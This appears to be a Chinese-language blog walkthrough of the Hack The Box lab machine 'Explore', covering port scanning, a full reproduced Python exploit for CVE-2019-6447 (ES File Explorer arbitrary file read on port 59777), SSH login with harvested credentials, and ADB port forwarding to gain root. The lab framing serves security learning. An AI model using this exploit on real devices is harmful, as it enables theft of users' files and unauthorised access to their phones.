记一次对HTB:explore的渗透测试

举报
亿人安全 发表于 2023/04/23 15:15:49 2023/04/23
【摘要】 一信息收集:1.nmap 10.10.10.247 //收集一下端口信息 2.然后nmap -sS -sV - A -T5 -p- 10.10.10.2473.发现了 ES File Explorer Name Response httpd .然后去搜索:42135端口存在“ ES File Explorer Name Response httpd”可利用漏洞,这个漏洞是任意文件读取漏洞,接...

一信息收集:

1.nmap 10.10.10.247 //收集一下端口信息

2.然后nmap -sS -sV - A -T5 -p- 10.10.10.247

3.发现了 ES File Explorer Name Response httpd .然后去搜索:

42135端口存在“ ES File Explorer Name Response httpd”可利用漏洞,这个漏洞是任意文件读取漏洞,接下来就是通过这个漏洞去查找敏感文件,看看是否存在敏感信息,帮助我们getshell。

4.找到了exp:url地址:https://www.exploit-db.com/exploits/50070

Exploit Title: ES File Explorer 4.1.9.7.4 - Arbitrary File Read


Date: 29/06/2021


Exploit Author: Nehal Zaman


Version: ES File Explorer v4.1.9.7.4


Tested on: Android


CVE : CVE-2019-6447


import requests
import json
import ast
import sys


if len(sys.argv) < 3:
print(f"USAGE {sys.argv[0]}   [file to download]")
sys.exit(1)


url = 'http://' + sys.argv[2] + ':59777'
cmd = sys.argv[1]
cmds = ['listFiles','listPics','listVideos','listAudios','listApps','listAppsSystem','listAppsPhone','listAppsSdcard','listAppsAll','getFile','getDeviceInfo']
listCmds = cmds[:9]
if cmd not in cmds:
print("[-] WRONG COMMAND!")
print("Available commands : ")
print("  listFiles         : List all Files.")
print("  listPics          : List all Pictures.")
print("  listVideos        : List all videos.")
print("  listAudios        : List all audios.")
print("  listApps          : List Applications installed.")
print("  listAppsSystem    : List System apps.")
print("  listAppsPhone     : List Communication related apps.")
print("  listAppsSdcard    : List apps on the SDCard.")
print("  listAppsAll       : List all Application.")
print("  getFile           : Download a file.")
print("  getDeviceInfo     : Get device info.")
sys.exit(1)


print("\n==================================================================")
print("|    ES File Explorer Open Port Vulnerability : CVE-2019-6447    |")
print("|                Coded By : Nehal a.k.a PwnerSec                 |")
print("==================================================================\n")


header = {"Content-Type" : "application/json"}
proxy = {"http":"http://127.0.0.1:8080", "https":"https://127.0.0.1:8080"}


def httpPost(cmd):
data = json.dumps({"command":cmd})
response = requests.post(url, headers=header, data=data)
return ast.literal_eval(response.text)


def parse(text, keys):
for dic in text:
for key in keys:
print(f"{key} : {dic[key]}")
print('')


def do_listing(cmd):
response = httpPost(cmd)
if len(response) == 0:
keys = []
else:
keys = list(response[0].keys())
parse(response, keys)


if cmd in listCmds:
do_listing(cmd)


elif cmd == cmds[9]:
if len(sys.argv) != 4:
print("[+] Include file name to download.")
sys.exit(1)
elif sys.argv[3][0] != '/':
print("[-] You need to provide full path of the file.")
sys.exit(1)
else:
path = sys.argv[3]
print("[+] Downloading file...")
response = requests.get(url + path)
with open('out.dat','wb') as wf:
wf.write(response.content)
print("[+] Done. Saved as out.dat.")


elif cmd == cmds[10]:
response = httpPost(cmd)
keys = list(response.keys())
for key in keys:
print(f"{key} : {response[key]}")

二、漏洞利用:

使用python x.py listPics + ip//列出所有图片

详细用法:

$ python poc.py --cmd listVideos

$ python poc.py --cmd listFiles

$ python poc.py --cmd listFiles --network 192.168.1。

$ python poc.py --cmd listFiles --ip 192.168.4.17

$ python poc.py list

#####################

#可用命令#

#####################

listFiles:列出所有文件

listPics:列出所有图片

listVideos:列出所有视频

listAudios:列出所有音频files

listApps:列出所有已安装的应用

listAppsSystem:列出所有系统应用

listAppsPhone:列出所有手机应用

listAppsSdcard:列出 sdcard 中的所有 apk 文件

listAppsAll:列出所有已安装的应用(包括系统应用)

getDeviceInfo:获取设备信息

appPull :从设备中拉出一个应用程序。需要包名称参数

appLaunch:启动应用程序。需要包名参数

getAppThumbnail:获取应用的图标。需要包名参数

2.然后访问,发现某一个目录存在用户名和密码

3.使用ssh 用户+ip +端口进行访问,测试之后发现是一个低权限用户。

三、提权

1.先安装adb工具:

apt-get install android-tools-adb

2.然后使用ssh -L 5555:localhost:5555 kristi@10.10.10.247 -p 2222做端口转发

3.然后使用adb connect 127.0.0.1:5555 进行连接

由于这台 Android 连接着 sd 卡,那么应该是开启着 ADB 调试桥的,尝试直接使用 ADB 进行破解

4.进行shell连接,然后执行whoami,发现是root权限

5.搜索 root.txt 文件,在 data 目录下找到,成功拿到 SYSTEM OWN 的 FLAG。

总结:

漏洞简介:

ES文件浏览器在启动时创建了一个HTTP服务器,在本地打开了59777端口。攻击者通过构造指定的payload可以获取用户手机文件,安装apk等操作。

影响范围

4.1.9.7.4 and below(部分版本可能不支持,也可能和应用市场有关)

漏洞分析

CVE-2019-6447影响的ES应用版本为4.1.9.7.4以下,但是在某些版本的应用该漏洞却无法利用,,向59777端口发送payload一直会回复500 ERROR报错。


参考链接:

https://www.freebuf.com/vuls/195069.html

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。